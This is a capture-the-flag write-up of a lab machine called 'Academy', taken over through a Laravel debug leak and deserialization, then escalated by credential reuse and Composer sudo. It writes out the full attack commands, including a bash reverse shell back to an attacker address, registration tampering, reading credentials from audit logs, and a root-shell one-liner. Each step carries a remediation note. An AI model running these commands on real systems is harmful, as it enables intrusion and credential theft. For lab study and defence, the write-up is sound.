Academy
Summary
I discovered a Laravel-based academy portal running on Apache. By tampering with a hidden role-ID field during registration they obtained administrator access, which surfaced a development-staging virtual host. That staging site had Laravel debug mode enabled, causing any error page to render the full .env file — including the application's HMAC signing key (APP_KEY).
The key was used to sign a PHP deserialization gadget chain (CVE-2018-15133), achieving code execution as the web server user. A second .env file in the production codebase contained a database password reused as the SSH password for a local account, giving me a persistent shell. That account belonged to the 'adm' group, which could read Linux audit logs; the audit daemon had been configured to record TTY keystrokes, and a privileged user's password was stored there in hex-encoded plaintext.
Decoding those records gave access to a second account whose sole sudo entitlement — running Composer as root without a password — was abused via Composer's native scripting hook to execute commands as root, completing the full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full port scan with service and script detection.
$ nmap -sV -sC -T4 -p- --min-rate 5000 -oN nmap_full.txt $TARGETFuzz for virtual hosts; confirms dev-staging-01.academy.htb.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.academy.htb' -fs 0Register both vhosts for local DNS resolution.
$ echo "$TARGET academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hostsExact commands 3
Register with roleid=1 instead of the default 0.
$ curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/register.php -d "uid=$USERNAME&password=$PASSWORD3&confirm=$PASSWORD3&roleid=1"Authenticate with the newly created admin account.
$ curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/login.php -d "uid=$USERNAME&password=$PASSWORD3" -LAccess the admin dashboard; confirms admin role and reveals dev-staging-01.academy.htb.
$ curl -sS -b cookies.txt http://academy.htb/admin.phpFixRemove the user-controlled role field from the registration formCritical
Exact commands 1
Trigger the debug error page; search the output for APP_KEY in the rendered .env section.
$ curl -sS --resolve dev-staging-01.academy.htb:80:$TARGET 'http://dev-staging-01.academy.htb/nonexistent'FixDisable Laravel debug mode and prevent .env exposure on all internet-facing hostsCritical
Exact commands 3
Open a listener on my machine before sending the payload.
$ nc -lvnp 4444Generate a base64-encoded gadget chain; replace the IP/port with your listener address.
$ php /opt/phpggc/phpggc Laravel/RCE1 system 'bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' -bDeliver the signed deserialization payload; the reverse shell connects back as www-data.
$ curl -sS -X POST --resolve dev-staging-01.academy.htb:80:$TARGET -H 'X-XSRF-TOKEN: <PHPGGC_OUTPUT>' 'http://dev-staging-01.academy.htb/'FixPatch CVE-2018-15133 and rotate the exposed Laravel APP_KEY immediatelyCritical
Exact commands 3
Read the production .env from the www-data reverse shell; note the DB_PASSWORD value.
$ cat /var/www/html/academy/.envSSH as cry0l1t3 using the DB_PASSWORD as the password.
$ ssh cry0l1t3@$TARGETCapture the user flag: <user.txt>.
$ cat ~/user.txtFixStop reusing application secrets as operating-system account passwordsHigh
Exact commands 3
Confirm cry0l1t3 is in the adm group.
$ idDecode all hex TTY records to recover plaintext keystrokes including mrb3n's password.
$ grep 'type=TTY' /var/log/audit/audit.log | awk -F'data=' '{print $2}' | xxd -r -pSwitch to mrb3n using the recovered plaintext password.
$ su mrb3nFixDisable TTY keystroke logging in auditd and tighten log access permissionsHigh
Exact commands 3
List mrb3n's sudo privileges; confirms (root) NOPASSWD: /usr/bin/composer.
$ sudo -l
(root) NOPASSWD: /usr/bin/composerGTFOBins Composer technique — drops into a root shell via run-script.
$ TF=$(mktemp -d) && echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > "$TF/composer.json" && sudo composer --working-dir="$TF" run-script xCapture the root flag: <root.txt>.
$ cat /root/root.txtFixRemove the passwordless sudo rule granting Composer execution as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 33060/tcp | mysqlx MySQL X protocol listener |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.